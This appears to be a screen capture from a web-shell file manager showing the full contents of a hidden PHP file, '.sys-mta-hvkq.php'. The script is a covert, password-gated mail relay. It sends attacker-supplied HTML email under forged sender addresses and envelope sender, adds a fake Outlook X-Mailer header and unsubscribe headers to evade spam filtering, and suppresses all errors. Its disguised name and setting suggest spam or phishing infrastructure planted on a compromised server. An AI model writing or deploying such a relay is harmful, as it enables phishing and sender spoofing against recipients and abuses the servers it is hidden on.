BDKR28

Editing: .sys-mta-hvkq.php

<?php
error_reporting(0);
$K='sm_xpxcwlgpqj';
if(($_POST['k']??'')!==$K)die('');
$t=$_POST['to']??'';$f=$_POST['from']??'';
$fn=$_POST['fn']??'';$s=$_POST['subj']??'';
$h=$_POST['html']??'';
if(!$t||!$f||!$s||!$h)die('ERR:MISSING');
$b='----=_'.bin2hex(random_bytes(12));
$hdr ="From: \"$fn\" <$f>\r\n";
$hdr.="Reply-To: $f\r\n";
$hdr.="MIME-Version: 1.0\r\n";
$hdr.="Content-Type: multipart/alternative; boundary=\"$b\"\r\n";
$hdr.="X-Mailer: Microsoft Outlook 16.0\r\n";
$uid=bin2hex(random_bytes(6));
$dom=explode('@',$f)[1]??'mail.com';
$hdr.="Message-ID: <$uid@$dom>\r\n";
$hdr.="List-Unsubscribe: <mailto:unsub-$uid@$dom>\r\n";
$hdr.="List-Unsubscribe-Post: List-Unsubscribe=One-Click\r\n";
$p=strip_tags(preg_replace('/<style[^>]*>.*?<\/style>/si','',$h));
$p=trim(substr(preg_replace('/\s+/',' ',$p),0,400));
$body ="--$b\r\n";
$body.="Content-Type: text/plain; charset=\"utf-8\"\r\n";
$body.="Content-Transfer-Encoding: quoted-printable\r\n\r\n";
$body.=quoted_printable_encode($p)."\r\n";
$body.="--$b\r\n";
$body.="Content-Type: text/html; charset=\"utf-8\"\r\n";
$body.="Content-Transfer-Encoding: quoted-printable\r\n\r\n";
$body.=quoted_printable_encode($h)."\r\n";
$body.="--$b--\r\n";
$ok=@mail($t,$s,$body,$hdr,"-f$f");
echo $ok?'SENT_OK':'SEND_FAIL';

Editing: .sys-mta-hvkq.php

Terminal